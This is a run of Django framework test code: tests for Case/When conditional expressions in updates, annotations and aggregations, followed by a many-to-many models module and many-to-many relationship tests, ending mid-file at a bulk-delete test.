        with self.assertRaisesMessage(FieldError, 'Joined field references are not permitted in this query'):
            CaseTestModel.objects.update(
                integer=Case(
                    When(integer2=F('o2o_rel__integer') + 1, then=2),
                    When(integer2=F('o2o_rel__integer'), then=3),
                    output_field=models.IntegerField(),
                ),
            )

    def test_update_with_join_in_predicate_raise_field_error(self):
        with self.assertRaisesMessage(FieldError, 'Joined field references are not permitted in this query'):
            CaseTestModel.objects.update(
                string=Case(
                    When(o2o_rel__integer=1, then=Value('one')),
                    When(o2o_rel__integer=2, then=Value('two')),
                    When(o2o_rel__integer=3, then=Value('three')),
                    default=Value('other'),
                    output_field=models.CharField(),
                ),
            )

    def test_update_big_integer(self):
        CaseTestModel.objects.update(
            big_integer=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'big_integer')
        )

    def test_update_binary(self):
        CaseTestModel.objects.update(
            binary=Case(
                # fails on postgresql on Python 2.7 if output_field is not
                # set explicitly
                When(integer=1, then=Value(b'one', output_field=models.BinaryField())),
                When(integer=2, then=Value(b'two', output_field=models.BinaryField())),
                default=Value(b'', output_field=models.BinaryField()),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, b'one'), (2, b'two'), (3, b''), (2, b'two'), (3, b''), (3, b''), (4, b'')],
            transform=lambda o: (o.integer, six.binary_type(o.binary))
        )

    def test_update_boolean(self):
        CaseTestModel.objects.update(
            boolean=Case(
                When(integer=1, then=True),
                When(integer=2, then=True),
                default=False,
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, True), (2, True), (3, False), (2, True), (3, False), (3, False), (4, False)],
            transform=attrgetter('integer', 'boolean')
        )

    def test_update_comma_separated_integer(self):
        CaseTestModel.objects.update(
            comma_separated_integer=Case(
                When(integer=1, then=Value('1')),
                When(integer=2, then=Value('2,2')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '1'), (2, '2,2'), (3, ''), (2, '2,2'), (3, ''), (3, ''), (4, '')],
            transform=attrgetter('integer', 'comma_separated_integer')
        )

    def test_update_date(self):
        CaseTestModel.objects.update(
            date=Case(
                When(integer=1, then=date(2015, 1, 1)),
                When(integer=2, then=date(2015, 1, 2)),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [
                (1, date(2015, 1, 1)), (2, date(2015, 1, 2)), (3, None), (2, date(2015, 1, 2)),
                (3, None), (3, None), (4, None)
            ],
            transform=attrgetter('integer', 'date')
        )

    def test_update_date_time(self):
        CaseTestModel.objects.update(
            date_time=Case(
                When(integer=1, then=datetime(2015, 1, 1)),
                When(integer=2, then=datetime(2015, 1, 2)),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [
                (1, datetime(2015, 1, 1)), (2, datetime(2015, 1, 2)), (3, None), (2, datetime(2015, 1, 2)),
                (3, None), (3, None), (4, None)
            ],
            transform=attrgetter('integer', 'date_time')
        )

    def test_update_decimal(self):
        CaseTestModel.objects.update(
            decimal=Case(
                When(integer=1, then=Decimal('1.1')),
                When(integer=2, then=Decimal('2.2')),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [
                (1, Decimal('1.1')),
                (2, Decimal('2.2')),
                (3, None),
                (2, Decimal('2.2')),
                (3, None),
                (3, None),
                (4, None)
            ],
            transform=attrgetter('integer', 'decimal')
        )

    def test_update_duration(self):
        CaseTestModel.objects.update(
            duration=Case(
                # fails on sqlite if output_field is not set explicitly on all
                # Values containing timedeltas
                When(integer=1, then=Value(timedelta(1), output_field=models.DurationField())),
                When(integer=2, then=Value(timedelta(2), output_field=models.DurationField())),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, timedelta(1)), (2, timedelta(2)), (3, None), (2, timedelta(2)), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'duration')
        )

    def test_update_email(self):
        CaseTestModel.objects.update(
            email=Case(
                When(integer=1, then=Value('1@example.com')),
                When(integer=2, then=Value('2@example.com')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '1@example.com'), (2, '2@example.com'), (3, ''), (2, '2@example.com'), (3, ''), (3, ''), (4, '')],
            transform=attrgetter('integer', 'email')
        )

    def test_update_file(self):
        CaseTestModel.objects.update(
            file=Case(
                When(integer=1, then=Value('~/1')),
                When(integer=2, then=Value('~/2')),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '~/1'), (2, '~/2'), (3, ''), (2, '~/2'), (3, ''), (3, ''), (4, '')],
            transform=lambda o: (o.integer, six.text_type(o.file))
        )

    def test_update_file_path(self):
        CaseTestModel.objects.update(
            file_path=Case(
                When(integer=1, then=Value('~/1')),
                When(integer=2, then=Value('~/2')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '~/1'), (2, '~/2'), (3, ''), (2, '~/2'), (3, ''), (3, ''), (4, '')],
            transform=attrgetter('integer', 'file_path')
        )

    def test_update_float(self):
        CaseTestModel.objects.update(
            float=Case(
                When(integer=1, then=1.1),
                When(integer=2, then=2.2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1.1), (2, 2.2), (3, None), (2, 2.2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'float')
        )

    @unittest.skipUnless(Image, "Pillow not installed")
    def test_update_image(self):
        CaseTestModel.objects.update(
            image=Case(
                When(integer=1, then=Value('~/1')),
                When(integer=2, then=Value('~/2')),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '~/1'), (2, '~/2'), (3, ''), (2, '~/2'), (3, ''), (3, ''), (4, '')],
            transform=lambda o: (o.integer, six.text_type(o.image))
        )

    def test_update_generic_ip_address(self):
        CaseTestModel.objects.update(
            generic_ip_address=Case(
                # fails on postgresql if output_field is not set explicitly
                When(integer=1, then=Value('1.1.1.1')),
                When(integer=2, then=Value('2.2.2.2')),
                output_field=models.GenericIPAddressField(),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '1.1.1.1'), (2, '2.2.2.2'), (3, None), (2, '2.2.2.2'), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'generic_ip_address')
        )

    def test_update_null_boolean(self):
        CaseTestModel.objects.update(
            null_boolean=Case(
                When(integer=1, then=True),
                When(integer=2, then=False),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, True), (2, False), (3, None), (2, False), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'null_boolean')
        )

    def test_update_positive_integer(self):
        CaseTestModel.objects.update(
            positive_integer=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'positive_integer')
        )

    def test_update_positive_small_integer(self):
        CaseTestModel.objects.update(
            positive_small_integer=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'positive_small_integer')
        )

    def test_update_slug(self):
        CaseTestModel.objects.update(
            slug=Case(
                When(integer=1, then=Value('1')),
                When(integer=2, then=Value('2')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '1'), (2, '2'), (3, ''), (2, '2'), (3, ''), (3, ''), (4, '')],
            transform=attrgetter('integer', 'slug')
        )

    def test_update_small_integer(self):
        CaseTestModel.objects.update(
            small_integer=Case(
                When(integer=1, then=1),
                When(integer=2, then=2),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, 1), (2, 2), (3, None), (2, 2), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'small_integer')
        )

    def test_update_string(self):
        CaseTestModel.objects.filter(string__in=['1', '2']).update(
            string=Case(
                When(integer=1, then=Value('1', output_field=models.CharField())),
                When(integer=2, then=Value('2', output_field=models.CharField())),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(string__in=['1', '2']).order_by('pk'),
            [(1, '1'), (2, '2'), (2, '2')],
            transform=attrgetter('integer', 'string')
        )

    def test_update_text(self):
        CaseTestModel.objects.update(
            text=Case(
                When(integer=1, then=Value('1')),
                When(integer=2, then=Value('2')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, '1'), (2, '2'), (3, ''), (2, '2'), (3, ''), (3, ''), (4, '')],
            transform=attrgetter('integer', 'text')
        )

    def test_update_time(self):
        CaseTestModel.objects.update(
            time=Case(
                # fails on sqlite if output_field is not set explicitly on all
                # Values containing times
                When(integer=1, then=Value(time(1), output_field=models.TimeField())),
                When(integer=2, then=Value(time(2), output_field=models.TimeField())),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, time(1)), (2, time(2)), (3, None), (2, time(2)), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'time')
        )

    def test_update_url(self):
        CaseTestModel.objects.update(
            url=Case(
                When(integer=1, then=Value('http://1.example.com/')),
                When(integer=2, then=Value('http://2.example.com/')),
                default=Value(''),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [
                (1, 'http://1.example.com/'), (2, 'http://2.example.com/'), (3, ''), (2, 'http://2.example.com/'),
                (3, ''), (3, ''), (4, '')
            ],
            transform=attrgetter('integer', 'url')
        )

    def test_update_uuid(self):
        CaseTestModel.objects.update(
            uuid=Case(
                # fails on sqlite if output_field is not set explicitly on all
                # Values containing UUIDs
                When(integer=1, then=Value(
                    UUID('11111111111111111111111111111111'),
                    output_field=models.UUIDField(),
                )),
                When(integer=2, then=Value(
                    UUID('22222222222222222222222222222222'),
                    output_field=models.UUIDField(),
                )),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [
                (1, UUID('11111111111111111111111111111111')),
                (2, UUID('22222222222222222222222222222222')),
                (3, None),
                (2, UUID('22222222222222222222222222222222')),
                (3, None),
                (3, None),
                (4, None),
            ],
            transform=attrgetter('integer', 'uuid')
        )

    def test_update_fk(self):
        obj1, obj2 = CaseTestModel.objects.all()[:2]

        CaseTestModel.objects.update(
            fk=Case(
                When(integer=1, then=obj1.pk),
                When(integer=2, then=obj2.pk),
            ),
        )
        self.assertQuerysetEqual(
            CaseTestModel.objects.all().order_by('pk'),
            [(1, obj1.pk), (2, obj2.pk), (3, None), (2, obj2.pk), (3, None), (3, None), (4, None)],
            transform=attrgetter('integer', 'fk_id')
        )

    def test_lookup_in_condition(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                test=Case(
                    When(integer__lt=2, then=Value('less than 2')),
                    When(integer__gt=2, then=Value('greater than 2')),
                    default=Value('equal to 2'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [
                (1, 'less than 2'), (2, 'equal to 2'), (3, 'greater than 2'), (2, 'equal to 2'), (3, 'greater than 2'),
                (3, 'greater than 2'), (4, 'greater than 2')
            ],
            transform=attrgetter('integer', 'test')
        )

    def test_lookup_different_fields(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                test=Case(
                    When(integer=2, integer2=3, then=Value('when')),
                    default=Value('default'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [
                (1, 1, 'default'), (2, 3, 'when'), (3, 4, 'default'), (2, 2, 'default'), (3, 4, 'default'),
                (3, 3, 'default'), (4, 5, 'default')
            ],
            transform=attrgetter('integer', 'integer2', 'test')
        )

    def test_combined_q_object(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.annotate(
                test=Case(
                    When(Q(integer=2) | Q(integer2=3), then=Value('when')),
                    default=Value('default'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [
                (1, 1, 'default'), (2, 3, 'when'), (3, 4, 'default'), (2, 2, 'when'), (3, 4, 'default'),
                (3, 3, 'when'), (4, 5, 'default')
            ],
            transform=attrgetter('integer', 'integer2', 'test')
        )

    def test_order_by_conditional_implicit(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer__lte=2).annotate(test=Case(
                When(integer=1, then=2),
                When(integer=2, then=1),
                default=3,
                output_field=models.IntegerField(),
            )).order_by('test', 'pk'),
            [(2, 1), (2, 1), (1, 2)],
            transform=attrgetter('integer', 'test')
        )

    def test_order_by_conditional_explicit(self):
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(integer__lte=2).annotate(test=Case(
                When(integer=1, then=2),
                When(integer=2, then=1),
                default=3,
                output_field=models.IntegerField(),
            )).order_by(F('test').asc(), 'pk'),
            [(2, 1), (2, 1), (1, 2)],
            transform=attrgetter('integer', 'test')
        )

    def test_join_promotion(self):
        o = CaseTestModel.objects.create(integer=1, integer2=1, string='1')
        # Testing that:
        # 1. There isn't any object on the remote side of the fk_rel
        #    relation. If the query used inner joins, then the join to fk_rel
        #    would remove o from the results. So, in effect we are testing that
        #    we are promoting the fk_rel join to a left outer join here.
        # 2. The default value of 3 is generated for the case expression.
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(pk=o.pk).annotate(
                foo=Case(
                    When(fk_rel__pk=1, then=2),
                    default=3,
                    output_field=models.IntegerField()
                ),
            ),
            [(o, 3)],
            lambda x: (x, x.foo)
        )
        # Now 2 should be generated, as the fk_rel is null.
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(pk=o.pk).annotate(
                foo=Case(
                    When(fk_rel__isnull=True, then=2),
                    default=3,
                    output_field=models.IntegerField()
                ),
            ),
            [(o, 2)],
            lambda x: (x, x.foo)
        )

    def test_join_promotion_multiple_annotations(self):
        o = CaseTestModel.objects.create(integer=1, integer2=1, string='1')
        # Testing that:
        # 1. There isn't any object on the remote side of the fk_rel
        #    relation. If the query used inner joins, then the join to fk_rel
        #    would remove o from the results. So, in effect we are testing that
        #    we are promoting the fk_rel join to a left outer join here.
        # 2. The default value of 3 is generated for the case expression.
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(pk=o.pk).annotate(
                foo=Case(
                    When(fk_rel__pk=1, then=2),
                    default=3,
                    output_field=models.IntegerField()
                ),
                bar=Case(
                    When(fk_rel__pk=1, then=4),
                    default=5,
                    output_field=models.IntegerField()
                ),
            ),
            [(o, 3, 5)],
            lambda x: (x, x.foo, x.bar)
        )
        # Now 2 should be generated, as the fk_rel is null.
        self.assertQuerysetEqual(
            CaseTestModel.objects.filter(pk=o.pk).annotate(
                foo=Case(
                    When(fk_rel__isnull=True, then=2),
                    default=3,
                    output_field=models.IntegerField()
                ),
                bar=Case(
                    When(fk_rel__isnull=True, then=4),
                    default=5,
                    output_field=models.IntegerField()
                ),
            ),
            [(o, 2, 4)],
            lambda x: (x, x.foo, x.bar)
        )

    def test_m2m_exclude(self):
        CaseTestModel.objects.create(integer=10, integer2=1, string='1')
        qs = CaseTestModel.objects.values_list('id', 'integer').annotate(
            cnt=models.Sum(
                Case(When(~Q(fk_rel__integer=1), then=1), default=2),
                output_field=models.IntegerField()
            ),
        ).order_by('integer')
        # The first o has 2 as its fk_rel__integer=1, thus it hits the
        # default=2 case. The other ones have 2 as the result as they have 2
        # fk_rel objects, except for integer=4 and integer=10 (created above).
        # The integer=4 case has one integer, thus the result is 1, and
        # integer=10 doesn't have any and this too generates 1 (instead of 0)
        # as ~Q() also matches nulls.
        self.assertQuerysetEqual(
            qs,
            [(1, 2), (2, 2), (2, 2), (3, 2), (3, 2), (3, 2), (4, 1), (10, 1)],
            lambda x: x[1:]
        )

    def test_m2m_reuse(self):
        CaseTestModel.objects.create(integer=10, integer2=1, string='1')
        # Need to use values before annotate so that Oracle will not group
        # by fields it isn't capable of grouping by.
        qs = CaseTestModel.objects.values_list('id', 'integer').annotate(
            cnt=models.Sum(
                Case(When(~Q(fk_rel__integer=1), then=1), default=2),
                output_field=models.IntegerField()
            ),
        ).annotate(
            cnt2=models.Sum(
                Case(When(~Q(fk_rel__integer=1), then=1), default=2),
                output_field=models.IntegerField()
            ),
        ).order_by('integer')
        self.assertEqual(str(qs.query).count(' JOIN '), 1)
        self.assertQuerysetEqual(
            qs,
            [(1, 2, 2), (2, 2, 2), (2, 2, 2), (3, 2, 2), (3, 2, 2), (3, 2, 2), (4, 1, 1), (10, 1, 1)],
            lambda x: x[1:]
        )


class CaseDocumentationExamples(TestCase):
    @classmethod
    def setUpTestData(cls):
        Client.objects.create(
            name='Jane Doe',
            account_type=Client.REGULAR,
            registered_on=date.today() - timedelta(days=36),
        )
        Client.objects.create(
            name='James Smith',
            account_type=Client.GOLD,
            registered_on=date.today() - timedelta(days=5),
        )
        Client.objects.create(
            name='Jack Black',
            account_type=Client.PLATINUM,
            registered_on=date.today() - timedelta(days=10 * 365),
        )

    def test_simple_example(self):
        self.assertQuerysetEqual(
            Client.objects.annotate(
                discount=Case(
                    When(account_type=Client.GOLD, then=Value('5%')),
                    When(account_type=Client.PLATINUM, then=Value('10%')),
                    default=Value('0%'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [('Jane Doe', '0%'), ('James Smith', '5%'), ('Jack Black', '10%')],
            transform=attrgetter('name', 'discount')
        )

    def test_lookup_example(self):
        a_month_ago = date.today() - timedelta(days=30)
        a_year_ago = date.today() - timedelta(days=365)
        self.assertQuerysetEqual(
            Client.objects.annotate(
                discount=Case(
                    When(registered_on__lte=a_year_ago, then=Value('10%')),
                    When(registered_on__lte=a_month_ago, then=Value('5%')),
                    default=Value('0%'),
                    output_field=models.CharField(),
                ),
            ).order_by('pk'),
            [('Jane Doe', '5%'), ('James Smith', '0%'), ('Jack Black', '10%')],
            transform=attrgetter('name', 'discount')
        )

    def test_conditional_update_example(self):
        a_month_ago = date.today() - timedelta(days=30)
        a_year_ago = date.today() - timedelta(days=365)
        Client.objects.update(
            account_type=Case(
                When(registered_on__lte=a_year_ago, then=Value(Client.PLATINUM)),
                When(registered_on__lte=a_month_ago, then=Value(Client.GOLD)),
                default=Value(Client.REGULAR),
            ),
        )
        self.assertQuerysetEqual(
            Client.objects.all().order_by('pk'),
            [('Jane Doe', 'G'), ('James Smith', 'R'), ('Jack Black', 'P')],
            transform=attrgetter('name', 'account_type')
        )

    def test_conditional_aggregation_example(self):
        Client.objects.create(
            name='Jean Grey',
            account_type=Client.REGULAR,
            registered_on=date.today(),
        )
        Client.objects.create(
            name='James Bond',
            account_type=Client.PLATINUM,
            registered_on=date.today(),
        )
        Client.objects.create(
            name='Jane Porter',
            account_type=Client.PLATINUM,
            registered_on=date.today(),
        )
        self.assertEqual(
            Client.objects.aggregate(
                regular=models.Sum(Case(
                    When(account_type=Client.REGULAR, then=1),
                    output_field=models.IntegerField(),
                )),
                gold=models.Sum(Case(
                    When(account_type=Client.GOLD, then=1),
                    output_field=models.IntegerField(),
                )),
                platinum=models.Sum(Case(
                    When(account_type=Client.PLATINUM, then=1),
                    output_field=models.IntegerField(),
                )),
            ),
            {'regular': 2, 'gold': 1, 'platinum': 3}
        )






"""
Many-to-many relationships

To define a many-to-many relationship, use ``ManyToManyField()``.

In this example, an ``Article`` can be published in multiple ``Publication``
objects, and a ``Publication`` has multiple ``Article`` objects.
"""
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Publication(models.Model):
    title = models.CharField(max_length=30)

    def __str__(self):
        return self.title

    class Meta:
        ordering = ('title',)


@python_2_unicode_compatible
class Tag(models.Model):
    id = models.BigAutoField(primary_key=True)
    name = models.CharField(max_length=50)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100)
    # Assign a unicode string as name to make sure the intermediary model is
    # correctly created. Refs #20207
    publications = models.ManyToManyField(Publication, name='publications')
    tags = models.ManyToManyField(Tag, related_name='tags')

    def __str__(self):
        return self.headline

    class Meta:
        ordering = ('headline',)


# Models to test correct related_name inheritance
class AbstractArticle(models.Model):
    class Meta:
        abstract = True
        ordering = ('title',)

    publications = models.ManyToManyField(Publication, name='publications', related_name='+')


class InheritedArticleA(AbstractArticle):
    pass


class InheritedArticleB(AbstractArticle):
    pass












from __future__ import unicode_literals

from django.db import transaction
from django.test import TestCase, ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .models import Article, InheritedArticleA, InheritedArticleB, Publication


class ManyToManyTests(TestCase):

    def setUp(self):
        # Create a couple of Publications.
        self.p1 = Publication.objects.create(title='The Python Journal')
        self.p2 = Publication.objects.create(title='Science News')
        self.p3 = Publication.objects.create(title='Science Weekly')
        self.p4 = Publication.objects.create(title='Highlights for Children')

        self.a1 = Article.objects.create(headline='Django lets you build Web apps easily')
        self.a1.publications.add(self.p1)

        self.a2 = Article.objects.create(headline='NASA uses Python')
        self.a2.publications.add(self.p1, self.p2, self.p3, self.p4)

        self.a3 = Article.objects.create(headline='NASA finds intelligent life on Earth')
        self.a3.publications.add(self.p2)

        self.a4 = Article.objects.create(headline='Oxygen-free diet works wonders')
        self.a4.publications.add(self.p2)

    def test_add(self):
        # Create an Article.
        a5 = Article(headline='Django lets you reate Web apps easily')
        # You can't associate it with a Publication until it's been saved.
        with self.assertRaises(ValueError):
            getattr(a5, 'publications')
        # Save it!
        a5.save()
        # Associate the Article with a Publication.
        a5.publications.add(self.p1)
        self.assertQuerysetEqual(a5.publications.all(), ['<Publication: The Python Journal>'])
        # Create another Article, and set it to appear in both Publications.
        a6 = Article(headline='ESA uses Python')
        a6.save()
        a6.publications.add(self.p1, self.p2)
        a6.publications.add(self.p3)
        # Adding a second time is OK
        a6.publications.add(self.p3)
        self.assertQuerysetEqual(
            a6.publications.all(),
            [
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ]
        )

        # Adding an object of the wrong type raises TypeError
        with self.assertRaisesMessage(TypeError, "'Publication' instance expected, got <Article"):
            with transaction.atomic():
                a6.publications.add(a5)

        # Add a Publication directly via publications.add by using keyword arguments.
        a6.publications.create(title='Highlights for Adults')
        self.assertQuerysetEqual(
            a6.publications.all(),
            [
                '<Publication: Highlights for Adults>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ]
        )

    def test_reverse_add(self):
        # Adding via the 'other' end of an m2m
        a5 = Article(headline='NASA finds intelligent life on Mars')
        a5.save()
        self.p2.article_set.add(a5)
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA finds intelligent life on Mars>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(a5.publications.all(), ['<Publication: Science News>'])

        # Adding via the other end using keywords
        self.p2.article_set.create(headline='Carbon-free diet works wonders')
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: Carbon-free diet works wonders>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA finds intelligent life on Mars>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ])
        a6 = self.p2.article_set.all()[3]
        self.assertQuerysetEqual(
            a6.publications.all(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ]
        )

    def test_related_sets(self):
        # Article objects have access to their related Publication objects.
        self.assertQuerysetEqual(self.a1.publications.all(), ['<Publication: The Python Journal>'])
        self.assertQuerysetEqual(
            self.a2.publications.all(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ]
        )
        # Publication objects have access to their related Article objects.
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(
            self.p1.article_set.all(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA uses Python>',
            ]
        )
        self.assertQuerysetEqual(
            Publication.objects.get(id=self.p4.id).article_set.all(),
            ['<Article: NASA uses Python>']
        )

    def test_selects(self):
        # We can perform kwarg queries across m2m relationships
        self.assertQuerysetEqual(
            Article.objects.filter(publications__id__exact=self.p1.id),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA uses Python>',
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(publications__pk=self.p1.id),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA uses Python>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(publications=self.p1.id),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA uses Python>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(publications=self.p1),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA uses Python>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(publications__title__startswith="Science"),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(publications__title__startswith="Science").distinct(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )

        # The count() function respects distinct() as well.
        self.assertEqual(Article.objects.filter(publications__title__startswith="Science").count(), 4)
        self.assertEqual(Article.objects.filter(publications__title__startswith="Science").distinct().count(), 3)
        self.assertQuerysetEqual(
            Article.objects.filter(publications__in=[self.p1.id, self.p2.id]).distinct(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ])
        self.assertQuerysetEqual(
            Article.objects.filter(publications__in=[self.p1.id, self.p2]).distinct(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(
            Article.objects.filter(publications__in=[self.p1, self.p2]).distinct(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: NASA uses Python>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )

        # Excluding a related item works as you would expect, too (although the SQL
        # involved is a little complex).
        self.assertQuerysetEqual(
            Article.objects.exclude(publications=self.p2),
            ['<Article: Django lets you build Web apps easily>']
        )

    def test_reverse_selects(self):
        # Reverse m2m queries are supported (i.e., starting at the table that
        # doesn't have a ManyToManyField).
        python_journal = ['<Publication: The Python Journal>']
        self.assertQuerysetEqual(Publication.objects.filter(id__exact=self.p1.id), python_journal)
        self.assertQuerysetEqual(Publication.objects.filter(pk=self.p1.id), python_journal)
        self.assertQuerysetEqual(
            Publication.objects.filter(article__headline__startswith="NASA"),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ])

        self.assertQuerysetEqual(Publication.objects.filter(article__id__exact=self.a1.id), python_journal)
        self.assertQuerysetEqual(Publication.objects.filter(article__pk=self.a1.id), python_journal)
        self.assertQuerysetEqual(Publication.objects.filter(article=self.a1.id), python_journal)
        self.assertQuerysetEqual(Publication.objects.filter(article=self.a1), python_journal)

        self.assertQuerysetEqual(
            Publication.objects.filter(article__in=[self.a1.id, self.a2.id]).distinct(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ])
        self.assertQuerysetEqual(
            Publication.objects.filter(article__in=[self.a1.id, self.a2]).distinct(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ])
        self.assertQuerysetEqual(
            Publication.objects.filter(article__in=[self.a1, self.a2]).distinct(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
                '<Publication: The Python Journal>',
            ])

    def test_delete(self):
        # If we delete a Publication, its Articles won't be able to access it.
        self.p1.delete()
        self.assertQuerysetEqual(
            Publication.objects.all(),
            [
                '<Publication: Highlights for Children>',
                '<Publication: Science News>',
                '<Publication: Science Weekly>',
            ]
        )
        self.assertQuerysetEqual(self.a1.publications.all(), [])
        # If we delete an Article, its Publications won't be able to access it.
        self.a2.delete()
        self.assertQuerysetEqual(
            Article.objects.all(),
            [
                '<Article: Django lets you build Web apps easily>',
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )
        self.assertQuerysetEqual(
            self.p2.article_set.all(),
            [
                '<Article: NASA finds intelligent life on Earth>',
                '<Article: Oxygen-free diet works wonders>',
            ]
        )

    def test_bulk_delete(self):
